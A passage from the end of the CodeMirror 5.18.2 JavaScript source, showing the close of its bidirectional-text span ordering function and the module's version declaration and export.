if (lst(order).level == 1 && (m = str.match(/\s+$/))) {
lst(order).to -= m[0].length;
order.push(new BidiSpan(0, len - m[0].length, len));
}
if (order[0].level == 2)
order.unshift(new BidiSpan(1, order[0].to, order[0].to));
if (order[0].level != lst(order).level)
order.push(new BidiSpan(order[0].level, len, len));
return order;
};
})();
// THE END
CodeMirror.version = "5.18.2";
return CodeMirror;
});
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